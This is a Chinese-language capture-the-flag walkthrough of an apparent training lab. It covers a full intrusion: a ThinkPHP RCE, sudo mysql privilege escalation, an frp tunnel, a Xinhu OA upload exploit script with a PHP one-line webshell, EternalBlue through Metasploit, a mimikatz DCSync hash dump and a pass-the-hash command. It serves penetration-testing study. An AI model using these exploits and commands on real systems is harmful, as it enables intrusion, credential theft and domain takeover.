写在最前面

圈圈表示你太菜了,并反手向你丢了7个沙砾(qwq)

钱队一直说渗透很重要,这次就用这个最简单的靶场来进行正式的入门(希望不会在明年7月留下遗憾)

开始!

flag1

题目给出了一个ip地址39.101.193.135,我们可以使用nmap来看看他开启了那些端口,命令为

1
sudo nmap --min-rate 10000 39.101.193.135

这段命令是以最小速率 10000 对全部端口(1-65535)进行扫描,10000 是权衡的结果,数字过大扫描速度快,但容易遗漏端口,数字过小则扫描时间过长,经验表明 10000 就是扫描的合适速度。-p 是端口参数,-p- 表示对所有端口进行扫描。扫描结果如下:

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~/Desktop]
└─# sudo nmap --min-rate 10000 39.101.193.135
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 21:49 EDT
Nmap scan report for 39.101.193.135
Host is up (0.015s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.96 seconds

可以看到开启了 22、80 端口,22 端口是一个 ssh 服务,80 端口是一个 http 服务,接下来我们可以查看这个几个端口开启的服务和操作系统版本,命令如下:

1
nmap –sT –sV -O –p22,80 39.101.193.135

其中-sT表示进行TCP扫描(三次握手),-p表示待扫描的端口(后跟待扫描的端口 22、80)-sV表示探测开放服务的版本,-O表示探测操作系统版本,扫描结果如下:

可以看到这个ip是一台 ubuntu linux 服务器,好像也没有什么有用的信息,想到还有一个非常好用的扫描工具fscan

安装看fscan安装教程,在这个页面直接下载,不用按网上的教程配go环境编译,不然会被圈圈骂(bushi

这个工具有linux和windows版本,其具体用法可以看官方的文档,这里只用于进行简单的端口扫描,(cmd)输入:

1
.\fscan -h 39.101.193.135

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
D:\PenetrationW>.\fscan -h 39.101.193.135

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.101.193.135:22 open
39.101.193.135:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.101.193.135 code:200 len:5578 title:Bootstrap Material Admin
[+] PocScan http://39.101.193.135 poc-yaml-thinkphp5023-method-rce poc1
已完成 2/2
[*] 扫描结束,耗时: 47.871504s

可以看到 web server 的版本是ThinkPHP 5.0.23,而且存在漏洞!!!
当然也可以使用nmap命令来进行漏洞扫描,命令如下:

1
nmap --script=vuln -p22,80 39.99.255.153

这里使用ThinkphpGUI这个开源工具来进行扫一下,
工具链接为:Lotus6/ThinkphpGUI: Thinkphp(GUI)漏洞利用工具,支持各版本TP漏洞检测,命令执行,getshell。 (github.com)

输入url和选择版本后点击检测和GetShell即可

可以看到网页存在一个后门,工具还给了一个漏洞利用的poc,我们利用他给的poc来写入shell.php后门,但是没什么回显

那就用蚁剑连接一下剩下的那个后门,成功连接

接下来就是需要提取,我们先看一下自己是什么权限(蚁剑的虚拟终端):

1
2
3
4
5
6
7
8
9
10
11
(www-data:/var/www/html) $ whoami
www-data
(www-data:/var/www/html) $ uname -a
Linux ubuntu-web01 5.4.0-110-generic #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
(www-data:/var/www/html) $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(www-data:/var/www/html) $ sudo -l
Matching Defaults entries for www-data on ubuntu-web01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu-web01:
(root) NOPASSWD: /usr/bin/mysql

可以看见是www-data权限(无法进入root文件夹),但是输入sudo -l时回显

(root) NOPASSWD: /usr/bin/mysql

这说明我们可以通过通过sudo高权限运行mysql,进而能够执行 root权限才能执行的命令,可以参考下面这篇文章,里面也有讲很多种提取的方法渗透测试:Linux提权精讲(三)之sudo方法第三期_nmap sudo 提权-CSDN博客

于是我们就能很容易的获取到flag1,可以发现flag1/root/flag目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(www-data:/var/www/html) $ sudo mysql -e '\! /bin/sh'
(www-data:/var/www/html) $ sudo mysql -e '\! ls /root'
flag
(www-data:/var/www/html) $ sudo mysql -e '\! ls /root/flag'
flag01.txt
(www-data:/var/www/html) $ sudo mysql -e '\! cat /root/flag/flag01.txt'
██ ██ ██ ██ ███████ ███████ ██ ████ ██ ████████
░░██ ██ ░██ ████ ██░░░░░██ ░██░░░░██ ████ ░██░██ ░██ ██░░░░░░██
░░██ ██ ░██ ██░░██ ██ ░░██░██ ░██ ██░░██ ░██░░██ ░██ ██ ░░
░░███ ░██ ██ ░░██ ░██ ░██░███████ ██ ░░██ ░██ ░░██ ░██░██
██░██ ░██ ██████████░██ ░██░██░░░██ ██████████░██ ░░██░██░██ █████
██ ░░██ ░██░██░░░░░░██░░██ ██ ░██ ░░██ ░██░░░░░░██░██ ░░████░░██ ░░░░██
██ ░░██░██░██ ░██ ░░███████ ░██ ░░██░██ ░██░██ ░░███ ░░████████
░░ ░░ ░░ ░░ ░░ ░░░░░░░ ░░ ░░ ░░ ░░ ░░ ░░░ ░░░░░░░░
Congratulations!!! You found the first flag, the next flag may be in a server in the internal network.
flag01: flag{60b53231-

flag2

接下来就是要考虑内网横向移动,我们的最终目的是获取域控上的 flag,我们先用蚁剑上传 fscan,扫描一下内网中有那些存活机器

这里要记得给fscan执行权限chmod 777 fscan,否则会执行不了
通过ip a我们可以发现网段为172.22.1.0/24

1
./fscan -h 172.22.1.0/24

扫描的结果会自动存在当前目录的result.txt文件上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
(www-data:/var/www/html) $ chmod 777 fscan
(www-data:/var/www/html) $ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:1e:d4:00 brd ff:ff:ff:ff:ff:ff
inet 172.22.1.15/16 brd 172.22.255.255 scope global dynamic eth0
valid_lft 315358560sec preferred_lft 315358560sec
inet6 fe80::216:3eff:fe1e:d400/64 scope link
valid_lft forever preferred_lft forever
(www-data:/var/www/html) $ ./fscan -h 172.22.1.0/24
(www-data:/var/www/html) $ ls
favicon.ico
fscan
index.php
peiqi.php
result.txt
robots.txt
router.php
static
(www-data:/var/www/html) $ cat result.txt
172.22.1.2:88 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
[*] NetInfo
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] NetInfo
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[*] NetInfo
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

于是我们搜集到如下信息:

172.22.1.2:DC域控
172.22.1.21:Windows的机器并且存在MS17-010 漏洞
172.22.1.18:信呼OA办公系统

而我们的最终目标即为DC域控
我们首先是对OA办公系统进行攻击,在这之前我们要先进行内网穿透,其目的是使我们能够在攻击机访问内网的服务,这里我们需要一台vps和工具frp,学过web的师傅都知道 vps 是什么,这里就不做解释,frp的相关知识也请读者自行学习,这里只做简单的介绍。frp的下载地址为,有linux和windows版本:
fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet. (github.com)

其中frpcfrps是可执行文件,我们需要将frpsfrps.ini上传到我们的vpsfrpcfrpc.ini上传到我们的靶机

下面是我相关文件的配置
frpc.ini:

1
2
3
4
5
6
7
8
[common] 
server_addr = 123.249.99.71 # 我vps的ip地址
server_port = 7000

[socks5]
type = tcp
plugin = socks5
remote_port = 798

frps.ini:

1
2
[common]
bind_port = 7000

这里要确保你的 vps 开启了 7000 和 798 端口

vps执行

1
./frps -c frps.ini

然后在靶机执行:

1
./frpc -c frpc.ini

(顺序不能反)

最后在攻击机你自己的电脑上(windows,不是 kali,kali 的配置方法在后面有讲)使用Proxy Servers配置 socks5 代理即可(不能提前开)

配置完后就能直接在浏览器中输入172.22.1.18进行访问了,可以看到该系统的版本是2.2.8(这个是重点,可以通过搜索系统的版本号看看有没有已经给发现的漏洞)

这里存在一个弱口令,admin/admin123

这个系统存在文件上传漏洞,有直接的poc,直接参考[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE_信呼协同办公系统弱口令-CSDN博客

exp用上面那个会报错,在网上又找了一个,下面的可以
exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests


session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)

相同目录下还有一个 1.php 文件存的是一句话木马
1.php:
1
<?php eval($_POST["1"]);?>

运行后可以看到文件上传的路径
1
2
3
PS D:\PenetrationW\script> & d:/ProgrammingLanguage/Python31/python3.exe d:/PenetrationW/script/exp.py
<br />
<b>Notice</b>: Undefined offset: 1 in <b>C:\phpStudy\PHPTutorial\WWW\upload\2024-09\22_11172620.php</b> on line <b>1</b><br />

然后直接蚁剑连接(记得蚁剑也要在代理设置里面设置socks5代理)

1
2
3
C:\phpStudy\PHPTutorial\WWW\upload\2024-09> whoami
nt authority\system
# 可以看到已经拥有了 system 权限,我们直接在 Administrator 用户的目录下找到 flag2

我们直接在Administrator用户的目录下找到 flag2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 ___    ___ ___  ________  ________  ________  ________  ________   ________     
|\ \ / /|\ \|\ __ \|\ __ \|\ __ \|\ __ \|\ ___ \|\ ____\
\ \ \/ / | \ \ \ \|\ \ \ \|\ \ \ \|\ \ \ \|\ \ \ \\ \ \ \ \___|
\ \ / / \ \ \ \ __ \ \ \\\ \ \ _ _\ \ __ \ \ \\ \ \ \ \ ___
/ \/ \ \ \ \ \ \ \ \ \\\ \ \ \\ \\ \ \ \ \ \ \\ \ \ \ \|\ \
/ /\ \ \ \__\ \__\ \__\ \_______\ \__\\ _\\ \__\ \__\ \__\\ \__\ \_______\
/__/ /\ __\ \|__|\|__|\|__|\|_______|\|__|\|__|\|__|\|__|\|__| \|__|\|_______|
|__|/ \|__|


flag02: 2ce3-4813-87d4-

Awesome! ! ! You found the second flag, now you can attack the domain controller.
#还提示我们最后要打DC

flag3

接下来我们就对ip 172.22.1.21进行渗透,这里需要用到渗透框架Metasploit Framework,kali自带这个框架,这里的攻击机我选用kali(windows也可以安装Metasploit Framework,不过上面我说过也要讲讲如何在kali设置代理)。我们首先要在kali中设置socks5代理,否则我们无法访问其内网的环境。
kali中设置代理比windows简单很多,他自带了一个proxychains4工具,我们只需要编辑etc目录下的proxychians4.conf文件:

在最下面的ProxyList上加上socks5 vps ip端口 即可

1
socks5 123.249.99.71 798

然后就能在浏览器中访问靶机内网的 172.22.1.* 那三台机器了
在上面用 fscan 的扫描中我们发现该机子存在 MS17-010 漏洞,这个就是大名鼎鼎的永恒之蓝漏洞
我们先在 kali 输入msfconsole启动Metasploit Framework(后面简称 msf)

输入search ms17-010搜索ms17-010相关模块,可以看到一共找到了 4 个不同的模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
┌──(kali㉿kali)-[/etc]
└─$ msfconsole
Metasploit tip: Writing a custom module? After editing your module, why not try
the reload command


.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
lOOOOOOOO. ;d; ,OOOOOOOOl
.OOOOOOOO. .; ; ,OOOOOOOO.
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
lOOOOO. .OOOO. :OOOO. ,OOOOOl
;OOOO' .OOOO. :OOOO. ;OOOO;
.dOOo .OOOOocccxOOOO. xOOd.
,kOl .OOOOOOOOOOOOO. .dOk,
:kk;.OOOOOOOOOOOOO.cOk:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.

=[ metasploit v6.4.9-dev ]
+ -- --=[ 2420 exploits - 1248 auxiliary - 423 post ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search ms17-010

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 \_ target: Automatic Target . . . .
2 \_ target: Windows 7 . . . .
3 \_ target: Windows Embedded Standard 7 . . . .
4 \_ target: Windows Server 2008 R2 . . . .
5 \_ target: Windows 8 . . . .
6 \_ target: Windows 8.1 . . . .
7 \_ target: Windows Server 2012 . . . .
8 \_ target: Windows 10 Pro . . . .
9 \_ target: Windows 10 Enterprise Evaluation . . . .
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 \_ target: Automatic . . . .
12 \_ target: PowerShell . . . .
13 \_ target: Native upload . . . .
14 \_ target: MOF upload . . . .
15 \_ AKA: ETERNALSYNERGY . . . .
16 \_ AKA: ETERNALROMANCE . . . .
17 \_ AKA: ETERNALCHAMPION . . . .
18 \_ AKA: ETERNALBLUE . . . .
19 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20 \_ AKA: ETERNALSYNERGY . . . .
21 \_ AKA: ETERNALROMANCE . . . .
22 \_ AKA: ETERNALCHAMPION . . . .
23 \_ AKA: ETERNALBLUE . . . .
24 auxiliary/scanner/smb/smb_ms17_010 . normal No MS17-010 SMB RCE Detection
25 \_ AKA: DOUBLEPULSAR . . . .
26 \_ AKA: ETERNALBLUE . . . .
27 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
28 \_ target: Execute payload (x64) . . . .
29 \_ target: Neutralize implant . . . .


Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

这里我们选择使用第一个模块,因为他影响是版本比较多,然后接下来依次输入以下命令来发起永恒之蓝攻击:

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue  # 选择使用的模块
set payload windows/x64/meterpreter/bind_tcp_uuid # 设置payload,可以通过show payloads查看
set RHOSTS 172.22.1.21 # 设置靶机的ip
exploit # 发起攻击

运行成功会出现meterpreter>
Meterpretermetasploit的一个扩展模块,可以调用metasploit的一些功能,对目标系统进行更深入的渗透,入获取屏幕、上传/下载文件、创建持久后门等

1
2
3
4
5
6
# 介绍一些该模块常用的命令
meterpreter > screenshot # 捕获屏幕
meterpreter > upload hello.txt c:// #上传文件
meterpreter > download d://1.txt # 下载文件
meterpreter > shell # 获取cmd
meterpreter > clearev # 清除日志

紧接着上图,可以发现我们已经成功的打进该主机,遗憾的是该机子上并没有 flag ,也就是说我们最后的flag 在 windows DC 域控制器上面
接下来是进行 DCSync 攻击,这里简单解释一下:
首先,什么是 DCSync

在域中,不同的域控之间,默认每隔15min就会进行一次域数据同步。当一个额外的域控想从其他域控同步数据时,额外域控会像其他域控发起请求,请求同步数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用这个原理,通过目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口像域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。分别是drsuapi和dsaop。
DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash

也就是说我们可以通过DCSync来导出所有用户的 hash 然后进行哈希传递攻击,要想使用 DCSync 必须获得以下任一用户的权限

1
2
3
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户

现在我们回看一开始fscan的扫描结果

1
[+] MS17-010 172.22.1.21    (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)

我们可以看到我们用永恒之蓝打下的这台机子是 enterprise 用户,也就是说满足 DCSync 攻击的条件,于是我们在 msf 中依次输入以下命令来获取用户的 hash

1
2
load kiwi  # 调用mimikatz模块
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit # 导出域内所有用户的信息(包括哈希值)

下面是执行的全过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
msf6 > Interrupt: use the 'exit' command to quit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp_uuid
payload => windows/x64/meterpreter/bind_tcp_uuid
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 172.22.1.21
RHOSTS => 172.22.1.21
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] 172.22.1.21:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 172.22.1.21:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 172.22.1.21:445 - Scanned 1 of 1 hosts (100% complete)
[+] 172.22.1.21:445 - The target is vulnerable.
[*] 172.22.1.21:445 - Connecting to target for exploitation.
[+] 172.22.1.21:445 - Connection established for exploitation.
[+] 172.22.1.21:445 - Target OS selected valid for OS indicated by SMB reply
[*] 172.22.1.21:445 - CORE raw buffer dump (53 bytes)
[*] 172.22.1.21:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 172.22.1.21:445 - 0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterpris
[*] 172.22.1.21:445 - 0x00000020 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50 e 7601 Service P
[*] 172.22.1.21:445 - 0x00000030 61 63 6b 20 31 ack 1
[+] 172.22.1.21:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 172.22.1.21:445 - Trying exploit with 12 Groom Allocations.
[*] 172.22.1.21:445 - Sending all but last fragment of exploit packet
[*] 172.22.1.21:445 - Starting non-paged pool grooming
[+] 172.22.1.21:445 - Sending SMBv2 buffers
[+] 172.22.1.21:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 172.22.1.21:445 - Sending final SMBv2 buffers.
[*] 172.22.1.21:445 - Sending last fragment of exploit packet!
[*] 172.22.1.21:445 - Receiving response from exploit packet
[+] 172.22.1.21:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 172.22.1.21:445 - Sending egg to corrupted connection.
[*] 172.22.1.21:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 172.22.1.21:4444
[*] Sending stage (201798 bytes) to 172.22.1.21
[*] Meterpreter session 1 opened (10.0.2.15:36153 -> 172.22.1.21:4444) at 2024-09-21 23:38:50 -0400
[+] 172.22.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.22.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.22.1.21:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

Success.
meterpreter > kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt fb812eea13a18b7fcdb8e6d67ddc205b 514
1106 Marcus e07510a4284b3c97c8e7dee970918c5c 512
1107 Charles f6a9881cd5ae709abb4ac9ab87f24617 512
1000 DC01$ 41934ce1b8888fd75b8179e3535a983a 532480
500 Administrator 10cf89a850fb1cdbe6bb432b859164c8 512
1104 XIAORANG-OA01$ bd227c7ddbf221ea74dea7834815adc5 4096
1108 XIAORANG-WIN7$ 22d4977c16a5cc2277246a4ce6400bab 4096

mimikatz(powershell) # exit
Bye!

meterpreter >

这里我们比较关注是Administrator用户的 hash,接下来我们使用crackmapexec来进行哈希传递攻击,来实现 DC域控 上的任意命令执行,通过以下命令来获取 flag3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(kali㉿kali)-[~/Desktop]
└─$ crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing RDP protocol database
[*] Initializing SSH protocol database
[*] Initializing LDAP protocol database
[*] Initializing FTP protocol database
[*] Initializing WINRM protocol database
[*] Initializing SMB protocol database
[*] Initializing MSSQL protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB 172.22.1.2 445 DC01 [*] Windows Server 2016 Datacenter 14393 x64 (name:DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
SMB 172.22.1.2 445 DC01 [+] xiaorang.lab\administrator:10cf89a850fb1cdbe6bb432b859164c8 (Pwn3d!)
SMB 172.22.1.2 445 DC01 [+] Executed command
SMB 172.22.1.2 445 DC01 ___ ___
SMB 172.22.1.2 445 DC01 \\ / / / / // | | // ) ) // ) ) // | | /| / / // ) )
SMB 172.22.1.2 445 DC01 \ / / / //__| | // / / //___/ / //__| | //| / / //
SMB 172.22.1.2 445 DC01 / / / / / ___ | // / / / ___ ( / ___ | // | / / // ____
SMB 172.22.1.2 445 DC01 / /\\ / / // | | // / / // | | // | | // | / / // / /
SMB 172.22.1.2 445 DC01 / / \\ __/ /___ // | | ((___/ / // | | // | | // |/ / ((____/ /
SMB 172.22.1.2 445 DC01
SMB 172.22.1.2 445 DC01
SMB 172.22.1.2 445 DC01 flag03: e8f88d0d43d6}
SMB 172.22.1.2 445 DC01
SMB 172.22.1.2 445 DC01 Unbelievable! ! You found the last flag, which means you have full control over the entire domain network.

最终flag就出了
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}

总结

这次只是春秋云镜最简单的靶机,提前看了许多wp,下好了工具,熟悉了每一个流程才开始打的,但是还是花了将近两个小时的时间,不过收获是真的很大,以前不怎么理解的原理终于懂了一些

总的来说,是个不错的开始,继续奋斗!